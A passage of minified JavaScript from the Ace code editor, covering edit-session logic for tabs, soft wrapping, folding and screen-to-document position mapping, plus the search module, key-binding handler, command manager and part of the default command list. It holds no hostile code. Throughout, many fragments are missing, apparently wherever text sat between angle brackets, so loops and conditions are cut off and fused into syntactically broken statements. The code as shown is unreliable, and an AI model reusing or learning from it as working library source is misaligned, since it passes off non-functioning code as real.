",this.getTabSize()):"\t"},this.setUseSoftTabs=function(e){this.setOption("useSoftTabs",e)},this.getUseSoftTabs=function(){return this.$useSoftTabs&&!this.$mode.$indentWithTabs},this.setTabSize=function(e){this.setOption("tabSize",e)},this.getTabSize=function(){return this.$tabSize},this.isTabStop=function(e){return this.$useSoftTabs&&e.column%this.$tabSize==0},this.setNavigateWithinSoftTabs=function(e){this.setOption("navigateWithinSoftTabs",e)},this.getNavigateWithinSoftTabs=function(){return this.$navigateWithinSoftTabs},this.$overwrite=!1,this.setOverwrite=function(e){this.setOption("overwrite",e)},this.getOverwrite=function(){return this.$overwrite},this.toggleOverwrite=function(){this.setOverwrite(!this.$overwrite)},this.addGutterDecoration=function(e,t){this.$decorations[e]||(this.$decorations[e]=""),this.$decorations[e]+=" "+t,this._signal("changeBreakpoint",{})},this.removeGutterDecoration=function(e,t){this.$decorations[e]=(this.$decorations[e]||"").replace(" "+t,""),this._signal("changeBreakpoint",{})},this.getBreakpoints=function(){return this.$breakpoints},this.setBreakpoints=function(e){this.$breakpoints=[];for(var t=0;t0&&(n=!!i.charAt(t-1).match(this.tokenRe)),n||(n=!!i.charAt(t).match(this.tokenRe)),n)var s=this.tokenRe;else if(/^\s+$/.test(i.slice(t-1,t+1)))s=/\s/;else s=this.nonTokenRe;var o=t;if(o>0){do{o--}while(o>=0&&i.charAt(o).match(s));o++}for(var r=t;re&&(e=t.screenWidth)})),this.lineWidgetWidth=e},this.$computeWidth=function(e){if(this.$modified||e){if(this.$modified=!1,this.$useWrapMode)return this.screenWidth=this.$wrapLimit;for(var t=this.doc.getAllLines(),i=this.$rowLengthCache,n=0,s=0,o=this.$foldData[s],r=o?o.start.row:1/0,a=t.length,l=0;lr){if((l=o.end.row+1)>=a)break;r=(o=this.$foldData[s++])?o.start.row:1/0}null==i[l]&&(i[l]=this.$getStringScreenWidth(t[l])[0]),i[l]>n&&(n=i[l])}this.screenWidth=n}},this.getLine=function(e){return this.doc.getLine(e)},this.getLines=function(e,t){return this.doc.getLines(e,t)},this.getLength=function(){return this.doc.getLength()},this.getTextRange=function(e){return this.doc.getTextRange(e||this.selection.getRange())},this.insert=function(e,t){return this.doc.insert(e,t)},this.remove=function(e){return this.doc.remove(e)},this.removeFullLines=function(e,t){return this.doc.removeFullLines(e,t)},this.undoChanges=function(e,t){if(e.length){this.$fromUndo=!0;for(var i=e.length-1;-1!=i;i--){var n=e[i];"insert"==n.action||"remove"==n.action?this.doc.revertDelta(n):n.folds&&this.addFolds(n.folds)}!t&&this.$undoSelect&&(e.selectionBefore?this.selection.fromJSON(e.selectionBefore):this.selection.setRange(this.$getUndoSelection(e,!0))),this.$fromUndo=!1}},this.redoChanges=function(e,t){if(e.length){this.$fromUndo=!0;for(var i=0;ie.end.column&&(o.start.column+=h),o.end.row==e.end.row&&o.end.column>e.end.column&&(o.end.column+=h)),r&&o.start.row>=e.end.row&&(o.start.row+=r,o.end.row+=r)}if(o.end=this.insert(o.start,n),s.length){var a=e.start,l=o.start,h=(r=l.row-a.row,l.column-a.column);this.addFolds(s.map((function(e){return(e=e.clone()).start.row==a.row&&(e.start.column+=h),e.end.row==a.row&&(e.end.column+=h),e.start.row+=r,e.end.row+=r,e})))}return o},this.indentRows=function(e,t,i){i=i.replace(/\t/g,this.getTabString());for(var n=e;n<=t;n++)this.doc.insertInLine({row:n,column:0},i)},this.outdentRows=function(e){for(var t=e.collapseRows(),i=new c(0,0,0,0),n=this.getTabSize(),s=t.start.row;s<=t.end.row;++s){var o=this.getLine(s);i.start.row=s,i.end.row=s;for(var r=0;r0){var s;if((s=this.getRowFoldEnd(t+i))>this.doc.getLength()-1)return 0;n=s-t}else{e=this.$clipRowToDocument(e);n=(t=this.$clipRowToDocument(t))-e+1}var o=new c(e,0,t,Number.MAX_VALUE),r=this.getFoldsInRange(o).map((function(e){return(e=e.clone()).start.row+=n,e.end.row+=n,e})),a=0==i?this.doc.getLines(e,t):this.doc.removeFullLines(e,t);return this.doc.insertFullLines(e+n,a),r.length&&this.addFolds(r),n},this.moveLinesUp=function(e,t){return this.$moveLines(e,t,-1)},this.moveLinesDown=function(e,t){return this.$moveLines(e,t,1)},this.duplicateLines=function(e,t){return this.$moveLines(e,t,0)},this.$clipRowToDocument=function(e){return Math.max(0,Math.min(e,this.doc.getLength()-1))},this.$clipColumnToRow=function(e,t){return t<0?0:Math.min(this.doc.getLine(e).length,t)},this.$clipPositionToDocument=function(e,t){if(t=Math.max(0,t),e<0)e=0,t=0;else{var i=this.doc.getLength();e>=i?(e=i-1,t=this.doc.getLine(i-1).length):t=Math.min(this.doc.getLine(e).length,t)}return{row:e,column:t}},this.$clipRangeToDocument=function(e){e.start.row<0?(e.start.row=0,e.start.column=0):e.start.column=this.$clipColumnToRow(e.start.row,e.start.column);var t=this.doc.getLength()-1;return e.end.row>t?(e.end.row=t,e.end.column=this.doc.getLine(t).length):e.end.column=this.$clipColumnToRow(e.end.row,e.end.column),e},this.$wrapLimit=80,this.$useWrapMode=!1,this.$wrapLimitRange={min:null,max:null},this.setUseWrapMode=function(e){if(e!=this.$useWrapMode){if(this.$useWrapMode=e,this.$modified=!0,this.$resetRowCache(0),e){var t=this.getLength();this.$wrapData=Array(t),this.$updateWrapData(0,t-1)}this._signal("changeWrapMode")}},this.getUseWrapMode=function(){return this.$useWrapMode},this.setWrapLimitRange=function(e,t){this.$wrapLimitRange.min===e&&this.$wrapLimitRange.max===t||(this.$wrapLimitRange={min:e,max:t},this.$modified=!0,this.$bidiHandler.markAsDirty(),this.$useWrapMode&&this._signal("changeWrapMode"))},this.adjustWrapLimit=function(e,t){var i=this.$wrapLimitRange;i.max<0&&(i={min:t,max:t});var n=this.$constrainWrapLimit(e,i.min,i.max);return n!=this.$wrapLimit&&n>1&&(this.$wrapLimit=n,this.$modified=!0,this.$useWrapMode&&(this.$updateWrapData(0,this.getLength()-1),this.$resetRowCache(0),this._signal("changeWrapLimit")),!0)},this.$constrainWrapLimit=function(e,t,i){return t&&(e=Math.max(t,e)),i&&(e=Math.min(i,e)),e},this.getWrapLimit=function(){return this.$wrapLimit},this.setWrapLimit=function(e){this.setWrapLimitRange(e,e)},this.getWrapLimitRange=function(){return{min:this.$wrapLimitRange.min,max:this.$wrapLimitRange.max}},this.$updateInternalDataOnChange=function(e){var t=this.$useWrapMode,i=e.action,n=e.start,s=e.end,o=n.row,r=s.row,a=r-o,l=null;if(this.$updating=!0,0!=a)if("remove"===i){this[t?"$wrapData":"$rowLengthCache"].splice(o,a);var h=this.$foldData;l=this.getFoldsInRange(e),this.removeFolds(l);var c=0;if(m=this.getFoldLine(s.row)){m.addRemoveChars(s.row,s.column,n.column-s.column),m.shiftRow(-a);var u=this.getFoldLine(o);u&&u!==m&&(u.merge(m),m=u),c=h.indexOf(m)+1}for(;c=s.row&&m.shiftRow(-a)}r=o}else{var d=Array(a);d.unshift(o,0);var g=t?this.$wrapData:this.$rowLengthCache;g.splice.apply(g,d);h=this.$foldData,c=0;if(m=this.getFoldLine(o)){var f=m.range.compareInside(n.row,n.column);0==f?(m=m.split(n.row,n.column))&&(m.shiftRow(a),m.addRemoveChars(r,0,s.column-n.column)):-1==f&&(m.addRemoveChars(o,0,s.column-n.column),m.shiftRow(a)),c=h.indexOf(m)+1}for(;c=o&&m.shiftRow(a)}}else a=Math.abs(e.start.column-e.end.column),"remove"===i&&(l=this.getFoldsInRange(e),this.removeFolds(l),a=-a),(m=this.getFoldLine(o))&&m.addRemoveChars(o,n.column,a);return t&&this.$wrapData.length!=this.doc.getLength()&&console.error("doc.getLength() and $wrapData.length have to be the same!"),this.$updating=!1,t?this.$updateWrapData(o,r):this.$updateRowLengthCache(o,r),l},this.$updateRowLengthCache=function(e,t,i){this.$rowLengthCache[e]=null,this.$rowLengthCache[t]=null},this.$updateWrapData=function(i,n){var s,o,r=this.doc.getAllLines(),a=this.getTabSize(),l=this.$wrapData,h=this.$wrapLimit,c=i;for(n=Math.min(n,r.length-1);c<=n;)(o=this.getFoldLine(c,o))?(s=[],o.walk(function(i,n,o,a){var l;if(null!=i){(l=this.$getDisplayTokens(i,s.length))[0]=e;for(var h=1;h=4352&&e<=4447||e>=4515&&e<=4519||e>=4602&&e<=4607||e>=9001&&e<=9002||e>=11904&&e<=11929||e>=11931&&e<=12019||e>=12032&&e<=12245||e>=12272&&e<=12283||e>=12288&&e<=12350||e>=12353&&e<=12438||e>=12441&&e<=12543||e>=12549&&e<=12589||e>=12593&&e<=12686||e>=12688&&e<=12730||e>=12736&&e<=12771||e>=12784&&e<=12830||e>=12832&&e<=12871||e>=12880&&e<=13054||e>=13056&&e<=19903||e>=19968&&e<=42124||e>=42128&&e<=42182||e>=43360&&e<=43388||e>=44032&&e<=55203||e>=55216&&e<=55238||e>=55243&&e<=55291||e>=63744&&e<=64255||e>=65040&&e<=65049||e>=65072&&e<=65106||e>=65108&&e<=65126||e>=65128&&e<=65131||e>=65281&&e<=65376||e>=65504&&e<=65510)}this.$computeWrapSplits=function(i,n,s){if(0==i.length)return[];var o=[],r=i.length,a=0,l=0,h=this.$wrapAsCode,c=this.$indentedSoftWrap,u=n<=Math.max(2*s,8)||!1===c?0:Math.floor(n/2);function d(e){for(var t=e-a,n=a;nn-g;){var f=a+n-g;if(i[f-1]>=10&&i[f]>=10)d(f);else if(i[f]!=e&&i[f]!=t){for(var m=Math.max(f-(n-(n>>2)),a-1);f>m&&i[f]m&&i[f]m&&9==i[f];)f--}else for(;f>m&&i[f]<10;)f--;f>m?d(++f):(2==i[f=a+n]&&f--,d(f-g))}else{for(;f!=a-1&&i[f]!=e;f--);if(f>a){d(f);continue}for(f=a+n;f39&&r<48||r>57&&r<64?s.push(9):r>=4352&&i(r)?s.push(1,2):s.push(1)}return s},this.$getStringScreenWidth=function(e,t,n){if(0==t)return[0,0];var s,o;for(null==t&&(t=1/0),n=n||0,o=0;o=4352&&i(s)?n+=2:n+=1,!(n>t));o++);return[n,o]},this.lineWidgets=null,this.getRowLength=function(e){var t=1;return this.lineWidgets&&(t+=this.lineWidgets[e]&&this.lineWidgets[e].rowCount||0),this.$useWrapMode&&this.$wrapData[e]?this.$wrapData[e].length+t:t},this.getRowLineCount=function(e){return this.$useWrapMode&&this.$wrapData[e]?this.$wrapData[e].length+1:1},this.getRowWrapIndent=function(e){if(this.$useWrapMode){var t=this.screenToDocumentPosition(e,Number.MAX_VALUE),i=this.$wrapData[t.row];return i.length&&i[0]=0){a=h[c],o=this.$docRowCache[c];var d=e>h[u-1]}else d=!u;for(var g=this.getLength()-1,f=this.getNextFoldLine(o),m=f?f.start.row:1/0;a<=e&&!(a+(l=this.getRowLength(o))>e||o>=g);)a+=l,++o>m&&(o=f.end.row+1,m=(f=this.getNextFoldLine(o,f))?f.start.row:1/0),d&&(this.$docRowCache.push(o),this.$screenRowCache.push(a));if(f&&f.start.row<=o)n=this.getFoldDisplayLine(f),o=f.start.row;else{if(a+l<=e||o>g)return{row:g,column:this.getLine(g).length};n=this.getLine(o),f=null}var p=0,v=Math.floor(e-a);if(this.$useWrapMode){var w=this.$wrapData[o];w&&(s=w[v],v>0&&w.length&&(p=w.indent,r=w[v-1]||w[w.length-1],n=n.substring(r)))}return void 0!==i&&this.$bidiHandler.isBidiRow(a+v,o,v)&&(t=this.$bidiHandler.offsetToCol(i)),r+=this.$getStringScreenWidth(n,t-p)[1],this.$useWrapMode&&r>=s&&(r=s-1),f?f.idxToPosition(r):{row:o,column:r}},this.documentToScreenPosition=function(e,t){if(void 0===t)var i=this.$clipPositionToDocument(e.row,e.column);else i=this.$clipPositionToDocument(e,t);e=i.row,t=i.column;var n,s=0,o=null;(n=this.getFoldAt(e,t,1))&&(e=n.start.row,t=n.start.column);var r,a=0,l=this.$docRowCache,h=this.$getRowCacheIndex(l,e),c=l.length;if(c&&h>=0){a=l[h],s=this.$screenRowCache[h];var u=e>l[c-1]}else u=!c;for(var d=this.getNextFoldLine(a),g=d?d.start.row:1/0;a=g){if((r=d.end.row+1)>e)break;g=(d=this.getNextFoldLine(r,d))?d.start.row:1/0}else r=a+1;s+=this.getRowLength(a),a=r,u&&(this.$docRowCache.push(a),this.$screenRowCache.push(s))}var f="";d&&a>=g?(f=this.getFoldDisplayLine(d,e,t),o=d.start.row):(f=this.getLine(e).substring(0,t),o=e);var m=0;if(this.$useWrapMode){var p=this.$wrapData[o];if(p){for(var v=0;f.length>=p[v];)s++,v++;f=f.substring(p[v-1]||0,f.length),m=v>0?p.indent:0}}return this.lineWidgets&&this.lineWidgets[a]&&this.lineWidgets[a].rowsAbove&&(s+=this.lineWidgets[a].rowsAbove),{row:s,column:m+this.$getStringScreenWidth(f)[0]}},this.documentToScreenColumn=function(e,t){return this.documentToScreenPosition(e,t).column},this.documentToScreenRow=function(e,t){return this.documentToScreenPosition(e,t).row},this.getScreenLength=function(){var e=0,t=null;if(this.$useWrapMode)for(var i=this.$wrapData.length,n=0,s=(a=0,(t=this.$foldData[a++])?t.start.row:1/0);ns&&(n=t.end.row+1,s=(t=this.$foldData[a++])?t.start.row:1/0)}else{e=this.getLength();for(var r=this.$foldData,a=0;ai);o++);return[n,o]})},this.destroy=function(){this.destroyed||(this.bgTokenizer.setDocument(null),this.bgTokenizer.cleanup(),this.destroyed=!0),this.$stopWorker(),this.removeAllListeners(),this.doc&&this.doc.off("change",this.$onChange),this.selection.detach()},this.isFullWidth=i}.call(f.prototype),e("./edit_session/folding").Folding.call(f.prototype),e("./edit_session/bracket_match").BracketMatch.call(f.prototype),r.defineOptions(f.prototype,"session",{wrap:{set:function(e){if(e&&"off"!=e?"free"==e?e=!0:"printMargin"==e?e=-1:"string"==typeof e&&(e=parseInt(e,10)||!1):e=!1,this.$wrap!=e)if(this.$wrap=e,e){var t="number"==typeof e?e:null;this.setWrapLimitRange(t,t),this.setUseWrapMode(!0)}else this.setUseWrapMode(!1)},get:function(){return this.getUseWrapMode()?-1==this.$wrap?"printMargin":this.getWrapLimitRange().min?this.$wrap:"free":"off"},handlesSet:!0},wrapMethod:{set:function(e){(e="auto"==e?"text"!=this.$mode.type:"text"!=e)!=this.$wrapAsCode&&(this.$wrapAsCode=e,this.$useWrapMode&&(this.$useWrapMode=!1,this.setUseWrapMode(!0)))},initialValue:"auto"},indentedSoftWrap:{set:function(){this.$useWrapMode&&(this.$useWrapMode=!1,this.setUseWrapMode(!0))},initialValue:!0},firstLineNumber:{set:function(){this._signal("changeBreakpoint")},initialValue:1},useWorker:{set:function(e){this.$useWorker=e,this.$stopWorker(),e&&this.$startWorker()},initialValue:!0},useSoftTabs:{initialValue:!0},tabSize:{set:function(e){(e=parseInt(e))>0&&this.$tabSize!==e&&(this.$modified=!0,this.$rowLengthCache=[],this.$tabSize=e,this._signal("changeTabSize"))},initialValue:4,handlesSet:!0},navigateWithinSoftTabs:{initialValue:!1},foldStyle:{set:function(e){this.setFoldStyle(e)},handlesSet:!0},overwrite:{set:function(e){this._signal("changeOverwrite")},initialValue:!1},newLineMode:{set:function(e){this.doc.setNewLineMode(e)},get:function(){return this.doc.getNewLineMode()},handlesSet:!0},mode:{set:function(e){this.setMode(e)},get:function(){return this.$modeId},handlesSet:!0}}),t.EditSession=f})),define("ace/search",["require","exports","module","ace/lib/lang","ace/lib/oop","ace/range"],(function(e,t,i){"use strict";var n=e("./lib/lang"),s=e("./lib/oop"),o=e("./range").Range,r=function(){this.$options={}};(function(){this.set=function(e){return s.mixin(this.$options,e),this},this.getOptions=function(){return n.copyObject(this.$options)},this.setOptions=function(e){this.$options=e},this.find=function(e){var t=this.$options,i=this.$matchIterator(e,t);if(!i)return!1;var n=null;return i.forEach((function(e,i,s,r){return n=new o(e,i,s,r),!(i==r&&t.start&&t.start.start&&0!=t.skipCurrent&&n.isEqual(t.start))||(n=null,!1)})),n},this.findAll=function(e){var t=this.$options;if(!t.needle)return[];this.$assembleRegExp(t);var i=t.range,s=i?e.getLines(i.start.row,i.end.row):e.doc.getAllLines(),r=[],a=t.re;if(t.$isMultiLine){var l,h=a.length,c=s.length-h;e:for(var u=a.offset||0;u<=c;u++){for(var d=0;dm||(r.push(l=new o(u,m,u+h-1,p)),h>2&&(u=u+h-2))}}else for(var v=0;vy&&r[d].end.row==i.end.row;)d--;for(r=r.slice(v,d+1),v=0,d=r.length;v=a;i--)if(u(i,Number.MAX_VALUE,e))return;if(0!=t.wrap)for(i=l,a=r.row;i>=a;i--)if(u(i,Number.MAX_VALUE,e))return}};else h=function(e){var i=r.row;if(!u(i,r.column,e)){for(i+=1;i<=l;i++)if(u(i,0,e))return;if(0!=t.wrap)for(i=a,l=r.row;i<=l;i++)if(u(i,0,e))return}};if(t.$isMultiLine)var c=i.length,u=function(t,s,o){var r=n?t-c+1:t;if(!(r<0||r+c>e.getLength())){var a=e.getLine(r),l=a.search(i[0]);if(!(!n&&ls))return!!o(r,l,r+c-1,u)||void 0}}};else if(n)u=function(t,n,s){var o,r=e.getLine(t),a=[],l=0;for(i.lastIndex=0;o=i.exec(r);){var h=o[0].length;if(l=o.index,!h){if(l>=r.length)break;i.lastIndex=l+=1}if(o.index+h>n)break;a.push(o.index,h)}for(var c=a.length-1;c>=0;c-=2){var u=a[c-1];if(s(t,u,t,u+(h=a[c])))return!0}};else u=function(t,n,s){var o,r,a=e.getLine(t);for(i.lastIndex=n;r=i.exec(a);){var l=r[0].length;if(s(t,o=r.index,t,o+l))return!0;if(!l&&(i.lastIndex=o+=1,o>=a.length))return!1}};return{forEach:h}}}).call(r.prototype),t.Search=r})),define("ace/keyboard/hash_handler",["require","exports","module","ace/lib/keys","ace/lib/useragent"],(function(e,t,i){"use strict";var n=e("../lib/keys"),s=e("../lib/useragent"),o=n.KEY_MODS;function r(e,t){this.platform=t||(s.isMac?"mac":"win"),this.commands={},this.commandKeyBinding={},this.addCommands(e),this.$singleCommand=!0}function a(e,t){r.call(this,e,t),this.$singleCommand=!1}a.prototype=r.prototype,function(){function e(e){return"object"==typeof e&&e.bindKey&&e.bindKey.position||(e.isDefault?-100:0)}this.addCommand=function(e){this.commands[e.name]&&this.removeCommand(e),this.commands[e.name]=e,e.bindKey&&this._buildKeyHash(e)},this.removeCommand=function(e,t){var i=e&&("string"==typeof e?e:e.name);e=this.commands[i],t||delete this.commands[i];var n=this.commandKeyBinding;for(var s in n){var o=n[s];if(o==e)delete n[s];else if(Array.isArray(o)){var r=o.indexOf(e);-1!=r&&(o.splice(r,1),1==o.length&&(n[s]=o[0]))}}},this.bindKey=function(e,t,i){if("object"==typeof e&&e&&(null==i&&(i=e.position),e=e[this.platform]),e)return"function"==typeof t?this.addCommand({exec:t,bindKey:e,name:t.name||e}):void e.split("|").forEach((function(e){var n="";if(-1!=e.indexOf(" ")){var s=e.split(/\s+/);e=s.pop(),s.forEach((function(e){var t=this.parseKeys(e),i=o[t.hashId]+t.key;n+=(n?" ":"")+i,this._addCommandToBinding(n,"chainKeys")}),this),n+=" "}var r=this.parseKeys(e),a=o[r.hashId]+r.key;this._addCommandToBinding(n+a,t,i)}),this)},this._addCommandToBinding=function(t,i,n){var s,o=this.commandKeyBinding;if(i)if(!o[t]||this.$singleCommand)o[t]=i;else{Array.isArray(o[t])?-1!=(s=o[t].indexOf(i))&&o[t].splice(s,1):o[t]=[o[t]],"number"!=typeof n&&(n=e(i));var r=o[t];for(s=0;sn)break}r.splice(s,0,i)}else delete o[t]},this.addCommands=function(e){e&&Object.keys(e).forEach((function(t){var i=e[t];if(i){if("string"==typeof i)return this.bindKey(i,t);"function"==typeof i&&(i={exec:i}),"object"==typeof i&&(i.name||(i.name=t),this.addCommand(i))}}),this)},this.removeCommands=function(e){Object.keys(e).forEach((function(t){this.removeCommand(e[t])}),this)},this.bindKeys=function(e){Object.keys(e).forEach((function(t){this.bindKey(t,e[t])}),this)},this._buildKeyHash=function(e){this.bindKey(e.bindKey,e)},this.parseKeys=function(e){var t=e.toLowerCase().split(/[\-\+]([\-\+])?/).filter((function(e){return e})),i=t.pop(),s=n[i];if(n.FUNCTION_KEYS[s])i=n.FUNCTION_KEYS[s].toLowerCase();else{if(!t.length)return{key:i,hashId:-1};if(1==t.length&&"shift"==t[0])return{key:i.toUpperCase(),hashId:-1}}for(var o=0,r=t.length;r--;){var a=n.KEY_MODS[t[r]];if(null==a)return"undefined"!=typeof console&&console.error("invalid modifier "+t[r]+" in "+e),!1;o|=a}return{key:i,hashId:o}},this.findKeyCommand=function(e,t){var i=o[e]+t;return this.commandKeyBinding[i]},this.handleKeyboard=function(e,t,i,n){if(!(n<0)){var s=o[t]+i,r=this.commandKeyBinding[s];return e.$keyChain&&(e.$keyChain+=" "+s,r=this.commandKeyBinding[e.$keyChain]||r),!r||"chainKeys"!=r&&"chainKeys"!=r[r.length-1]?(e.$keyChain&&(t&&4!=t||1!=i.length?(-1==t||n>0)&&(e.$keyChain=""):e.$keyChain=e.$keyChain.slice(0,-s.length-1)),{command:r}):(e.$keyChain=e.$keyChain||s,{command:"null"})}},this.getStatusText=function(e,t){return t.$keyChain||""}}.call(r.prototype),t.HashHandler=r,t.MultiHashHandler=a})),define("ace/commands/command_manager",["require","exports","module","ace/lib/oop","ace/keyboard/hash_handler","ace/lib/event_emitter"],(function(e,t,i){"use strict";var n=e("../lib/oop"),s=e("../keyboard/hash_handler").MultiHashHandler,o=e("../lib/event_emitter").EventEmitter,r=function(e,t){s.call(this,t,e),this.byName=this.commands,this.setDefaultHandler("exec",(function(e){return e.args?e.command.exec(e.editor,e.args,e.event,!1):e.command.exec(e.editor,{},e.event,!0)}))};n.inherits(r,s),function(){n.implement(this,o),this.exec=function(e,t,i){if(Array.isArray(e)){for(var n=e.length;n--;)if(this.exec(e[n],t,i))return!0;return!1}if("string"==typeof e&&(e=this.commands[e]),!e)return!1;if(t&&t.$readOnly&&!e.readOnly)return!1;if(0!=this.$checkCommandState&&e.isAvailable&&!e.isAvailable(t))return!1;var s={editor:t,command:e,args:i};return s.returnValue=this._emit("exec",s),this._signal("afterExec",s),!1!==s.returnValue},this.toggleRecording=function(e){if(!this.$inReplay)return e&&e._emit("changeStatus"),this.recording?(this.macro.pop(),this.off("exec",this.$addCommandToMacro),this.macro.length||(this.macro=this.oldMacro),this.recording=!1):(this.$addCommandToMacro||(this.$addCommandToMacro=function(e){this.macro.push([e.command,e.args])}.bind(this)),this.oldMacro=this.macro,this.macro=[],this.on("exec",this.$addCommandToMacro),this.recording=!0)},this.replay=function(e){if(!this.$inReplay&&this.macro){if(this.recording)return this.toggleRecording(e);try{this.$inReplay=!0,this.macro.forEach((function(t){"string"==typeof t?this.exec(t,e):this.exec(t[0],e,t[1])}),this)}finally{this.$inReplay=!1}}},this.trimMacro=function(e){return e.map((function(e){return"string"!=typeof e[0]&&(e[0]=e[0].name),e[1]||(e=e[0]),e}))}}.call(r.prototype),t.CommandManager=r})),define("ace/commands/default_commands",["require","exports","module","ace/lib/lang","ace/config","ace/range"],(function(e,t,i){"use strict";var n=e("../lib/lang"),s=e("../config"),o=e("../range").Range;function r(e,t){return{win:e,mac:t}}t.commands=[{name:"showSettingsMenu",description:"Show settings menu",bindKey:r("Ctrl-,","Command-,"),exec:function(e){s.loadModule("ace/ext/settings_menu",(function(t){t.init(e),e.showSettingsMenu()}))},readOnly:!0},{name:"goToNextError",description:"Go to next error",bindKey:r("Alt-E","F4"),exec:function(e){s.loadModule("./ext/error_marker",(function(t){t.showErrorMarker(e,1)}))},scrollIntoView:"animate",readOnly:!0},{name:"goToPreviousError",description:"Go to previous error",bindKey:r("Alt-Shift-E","Shift-F4"),exec:function(e){s.loadModule("./ext/error_marker",(function(t){t.showErrorMarker(e,-1)}))},scrollIntoView:"animate",readOnly:!0},{name:"selectall",description:"Select all",bindKey:r("Ctrl-A","Command-A"),exec:function(e){e.selectAll()},readOnly:!0},{name:"centerselection",description:"Center selection",bindKey:r(null,"Ctrl-L"),exec:function(e){e.centerSelection()},readOnly:!0},{name:"gotoline",description:"Go to line...",bindKey:r("Ctrl-L","Command-L"),exec:function(e,t){"number"!=typeof t||isNaN(t)||e.gotoLine(t),e.prompt({$type:"gotoLine"})},readOnly:!0},{name:"fold",bindKey:r("Alt-L|Ctrl-F1","Command-Alt-L|Command-F1"),exec:function(e){e.session.toggleFold(!1)},multiSelectAction:"forEach",scrollIntoView:"center",readOnly:!0},{name:"unfold",bindKey:r("Alt-Shift-L|Ctrl-Shift-F1","Command-Alt-Shift-L|Command-Shift-F1"),exec:function(e){e.session.toggleFold(!0)},multiSelectAction:"forEach",scrollIntoView:"center",readOnly:!0},{name:"toggleFoldWidget",description:"Toggle fold widget",bindKey:r("F2","F2"),exec:function(e){e.session.toggleFoldWidget()},multiSelectAction:"forEach",scrollIntoView:"center",readOnly:!0},{name:"toggleParentFoldWidget",description:"Toggle parent fold widget",bindKey:r("Alt-F2","Alt-F2"),exec:function(e){e.session.toggleFoldWidget(!0)},multiSelectAction:"forEach",scrollIntoView:"center",readOnly:!0},{name:"foldall",description:"Fold all",bindKey:r(null,"Ctrl-Command-Option-0"),exec:function(e){e.session.foldAll()},scrollIntoView:"center",readOnly:!0},{name:"foldAllComments",description:"Fold all comments",bindKey:r(null,"Ctrl-Command-Option-0"),exec:function(e){e.session.foldAllComments()},scrollIntoView:"center",readOnly:!0},{name:"foldOther",description:"Fold other",bindKey:r("Alt-0","Command-Option-0"),exec:function(e){e.session.foldAll(),e.session.unfold(e.selection.getAllRanges())},scrollIntoView:"center",readOnly:!0},{name:"unfoldall",description:"Unfold all",bindKey:r("Alt-Shift-0","Command-Option-Shift-0"),exec:function(e){e.session.unfold()},scrollIntoView:"center",readOnly:!0},{name:"findnext",description:"Find next",bindKey:r("Ctrl-K","Command-G"),exec:function(e){e.findNext()},multiSelectAction:"forEach",scrollIntoView:"center",readOnly:!0},{name:"findprevious",description:"Find previous",bindKey:r("Ctrl-Shift-K","Command-Shift-G"),exec:function(e){e.findPrevious()},multiSelectAction:"forEach",scrollIntoView:"center",readOnly:!0},{name:"selectOrFindNext",description:"Select or find next",bindKey:r("Alt-K","Ctrl-G"),exec:function(e){e.selection.isEmpty()?e.selection.selectWord():e.findNext()},readOnly:!0},{name:"selectOrFindPrevious",description:"Select or find previous",bindKey:r("Alt-Shift-K","Ctrl-Shift-G"),exec:function(e){e.selection.isEmpty()?e.selection.selectWord():e.findPrevious()},readOnly:!0},{name:"find",description:"Find",bindKey:r("Ctrl-F","Command-F"),exec:function(e){s.loadModule("ace/ext/searchbox",(function(t){t.Search(e)}))},readOnly:!0},{name:"overwrite",description:"Overwrite",bindKey:"Insert",exec:function(e){e.toggleOverwrite()},readOnly:!0},{name:"selecttostart",description:"Select to start",bindKey:r("Ctrl-Shift-Home","Command-Shift-Home|Command-Shift-Up"),exec:function(e){e.getSelection().selectFileStart()},multiSelectAction:"forEach",readOnly:!0,scrollIntoView:"animate",aceCommandGroup:"fileJump"},{name:"gotostart",description:"Go to start",bindKey:r("Ctrl-Home","Command-Home|Command-Up"),exec:function(e){e.navigateFileStart()},multiSelectAction:"forEach",readOnly:!0,scrollIntoView:"animate",aceCommandGroup:"fileJump"},{name:"selectup",description:"Select up",bindKey:r("Shift-Up","Shift-Up|Ctrl-Shift-P"),exec:function(e){e.getSelection().selectUp()},multiSelectAction:"forEach",scrollIntoView:"cursor",readOnly:!0},{name:"golineup",description:"Go line up",bindKey:r("Up","Up|Ctrl-P"),exec:function(e,t){e.navigateUp(t.times)},multiSelectAction:"forEach",scrollIntoView:"cursor",readOnly:!0},{name:"selecttoend",description:"Select to end",bindKey:r("Ctrl-Shift-End","Command-Shift-End|Command-Shift-Down"),exec:function(e){e.getSelection().selectFileEnd()},multiSelectAction:"forEach",readOnly:!0,scrollIntoView:"animate",aceCommandGroup:"fileJump"},{name:"gotoend",description:"Go to end",bindKey:r("Ctrl-End","Command-End|Command-Down"),exec:function(e){e.navigateFileEnd()},multiSelectAction:"forEach",readOnly:!0,scrollIntoView:"animate",aceCommandGroup:"fileJump"},{name:"selectdown",description:"Select down",bindKey:r("Shift-Down","Shift-Down|Ctrl-Shift-N"),exec:function(e){e.getSelection().selectDown()},multiSelectAction:"forEach",scrollIntoView:"cursor",readOnly:!0},{name:"golinedown",description:"Go line down",bindKey:r("Down","Down|Ctrl-N"),exec:function(e,t){e.navigateDown(t.times)},multiSelectAction:"forEach",scrollIntoView:"cursor",readOnly:!0},{name:"selectwordleft",description:"Select word left",bindKey:r("Ctrl-Shift-Left","Option-Shift-Left"),exec:function(e){e.getSelection().selectWordLeft()},multiSelectAction:"forEach",scrollIntoView:"cursor",readOnly:!0},{name:"gotowordleft",description:"Go to word left",bindKey:r("Ctrl-Left","Option-Left"),exec:function(e){e.navigateWordLeft()},multiSelectAction:"forEach",scrollIntoView:"cursor",readOnly:!0},{name:"selecttolinestart",description:"Select to line start",bindKey:r("Alt-Shift-Left","Command-Shift-Left|Ctrl-Shift-A"),exec:function(e){e.getSelection().selectLineStart()},multiSelectAction:"forEach",scrollIntoView:"cursor",readOnly:!0},{name:"gotolinestart",description:"Go to line start",bindKey:r("Alt-Left|Home","Command-Left|Home|Ctrl-A"),exec:function(e){e.navigateLineStart()},multiSelectAction:"forEach",scrollIntoView:"cursor",readOnly:!0},{name:"selectleft",description:"Select left",bindKey:r("Shift-Left","Shift-Left|Ctrl-Shift-B"),exec:function(e){e.getSelection().selectLeft()},multiSelectAction:"forEach",scrollIntoView:"cursor",readOnly:!0},{name:"gotoleft",description:"Go to left",bindKey:r("Left","Left|Ctrl-B"),exec:function(e,t){e.navigateLeft(t.times)},multiSelectAction:"forEach",scrollIntoView:"cursor",readOnly:!0},{name:"selectwordright",description:"Select word 